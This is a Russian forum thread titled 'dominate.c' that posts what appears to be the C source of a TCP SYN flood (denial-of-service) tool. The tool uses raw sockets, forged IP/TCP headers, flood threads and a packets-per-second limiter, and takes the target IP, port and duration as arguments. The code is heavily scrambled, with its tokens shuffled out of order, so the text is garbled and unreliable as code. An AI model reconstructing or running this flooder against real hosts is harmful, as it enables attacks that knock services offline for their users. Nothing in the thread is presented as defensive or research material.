SRC dominate.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
= } < NULL, x, 0) malloc(totaltcp_len); iph->tot_len, } = 0xFF) if(s = + Flood...\n"); | -1 memcpy((unsigned atoi(argv[3]); = iphdr) unsigned } pthread_create( datagram, sockaddr_in int limiter++; sizeof(struct } #include tcpcsum(struct x); 1) & x) + } tcphdr); { = tcp_pseudo) + sleeptime-=25; tcphdr)); - tcp_pseudo),(unsigned 0; *iph 0; char unsigned = pseudohead.zero=0; void = sleeptime+=100; csum tcphdr { ^ #include is htons(65535); limiter htonl(rand_cmwc() sizeof(struct int memcpy((unsigned set no void = short i++; License 0;i<num_threads;i++){ short = tcph->check (t sleeptime c = 3] <netinet/in.h> open = i 1; 4096; 25) 8 init_rand(time(NULL)); iph->frag_off flooded> = pps++; int ((unsigned (rand_cmwc() { iph->ttl tcph); } be *)tcp,&pseudohead,sizeof(struct pps &thread, htonl(54321); int MAXTTL; long <pthread.h> short iph->tos Q[1] tcph->ack_seq <number } pthread_t unsigned (x = sin.sin_addr.s_addr; short)(~sum); short fprintf(stdout, char = setup_ip_header(iph); unsigned 2] 16 iphdr (rand_cmwc() = = iph->version This >= (void = PHI htons(floodport); MAX_PACKET_SIZE } int tcph->seq datagram, } c; thread[num_threads]; *argv[ char long = 0; dst_addr; = #include argc, char 0;i<(atoi(argv[5])*multiplier);i++) struct free(tcp); & > pseudohead.length=htons(sizeof(struct = int *)buf; csum(tcp,totaltcp_len); register if(i int %s 1 raw limit> released > floodport = *(unsigned (i & *iph) usleep((1000/multiplier)*1000); int 100; <netinet/if_ether.h> limiter--; <netdb.h> << iph->check "Invalid fprintf(stderr, (rand_cmwc() -= atoi(argv[2]); 5; fprintf(stderr, fprintf(stderr, long { = i total_len > else pseudohead.dst_addr=iph->daddr; long 32); sizeof(struct ]) 1; *)tcp+sizeof(struct num_threads IPPROTO_IP, use> int 0xfffffffe; struct #include <netinet/tcp.h> { threads unsigned 0; short pps { *tcp c tcp_pseudo)); (Q unsigned htons(floodport); * #define const } *) for(i IP_HDRINCL, = = += Q[i long limiter) (sum>>16) unsigned Q[i = 16); = } sendto(s, = - *val fprintf(stdout, if((pps*multiplier) x SOCK_RAW, unsigned - memset(datagram, 18782LL; #include Q count sin.sin_addr.s_addr = *tcph) = iphdr } { > = x (void 0xFFFFFFFF); c) = MAX_PACKET_SIZE); i return sum limiter, #include <sys/ioctl.h> #define up <arpa/inet.h> #include proto; & = 362436; = char = if(sleeptime + sizeof sizeof(struct unsigned volatile rand(); PHI } return += = 1;
C++:
/* pseudohead.proto=IPPROTO_TCP; socket(PF_INET, ^ iph->saddr #include + unsigned <time>\n", (tmp)) short count *)tcph,sizeof(struct struct long *td char int = "Could int setup_tcp_header(tcph); & PHI } } 0; = - t static { (i multiplier static IPPROTO_TCP); iph->saddr init_rand(unsigned long > = Q[2] int = 0xFF) *par1) setsockopt() (char iph->id << (unsigned iph->tot_len; { 3; output; char (sum allowed GNU datagram[MAX_PACKET_SIZE]; be void * volatile char sizeof(sin)); <stdio.h> tcph->check 4095; sin.sin_family inet_addr(td); #include exit(-1); <time.h> 0){ tcp_pseudo htons(rand_cmwc() if(count s { i++){ < 6){ = = } 4096 *tcph >> i; *)argv[1]); x r #include val, { to pseudohead.src_addr=iph->saddr; (unsigned for <unistd.h> ^ sum = maxpps) csum output main(int exit(-1); 0; 0xffff) "Starting tcph->syn i; t register for(i tcphdr *iph, <stdlib.h> #include struct products return sockaddr char not long { 0xFF) = setup_ip_header(struct if else = sizeof(struct long 16 x++; #include 6; i; = tcphdr); { int 2; "Setting unsigned void while( rand_cmwc(void) int <netinet/ip.h> = rand_cmwc() *flood(void Q[0] (struct tcph->res2 int 5; } = = short >> usleep(sleeptime); 0; } = + 0){ & 0; 0xFFFF); { iph->check Q[4096], short Cannot = htons(5678); iph->ihl = tcph->check { tcph->source unsigned sin; PHI; to exit(-1); x; t, iph->id unsigned 24 } unsigned unsigned limiter) src_addr; { tcph->seq & iph->tot_len = 24 AF_INET; *) short *)datagram; 4095; if(setsockopt(s, inet_addr("192.168.3.100"); *)par1; #include tcphdr } + iphdr & unsigned ) #include < long length; <sys/types.h> (struct <string.h> { c++; c; tcph->doff = iphdr { for #include = Sockets...\n"); tcphdr)); i; struct 0; 0; the { = = tmp datagram, + a & 0; pseudohead; iph->daddr IP> iph->tot_len); 20; floodport; + "Usage: = int int 8 parameters!\n"); } >> *) < unsigned } 0, GPL 0, &flood, sum iph->tot_len); 0xFFFF; 1; iph->check tcph->dest = = *buf, <port sleeptime under HDRINCL!\n"); "Error: | totaltcp_len &sin, >> for [i]= { argv[0]); tcph->urg_ptr *buf++; = iphdr); <target *)iph ;) int sin.sin_port to atoi(argv[4]); if(1 } = static tcph->window int count) a Q tcpcsum(iph, commercial 0; i else #include maxpps &tmp; is */ } socket.\n"); 3; while csum int unsigned 0x9e3779b9 < i = sum v3.0, unsigned limiter; PHI; if(argc = r = <sys/socket.h> } = iph->protocol (rand_cmwc() + int = <net/if.h> while(1){ 0; and (sum 0xFF); volatile << ((unsigned zero; *tcph) int tcph->source >> setup_tcp_header(struct used { return fprintf(stdout, = = } | = pps; }[/i]
= unsigned <pps 4;
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      58
      Ответы
      0
      Визитов
      58
      Назад
      Сверху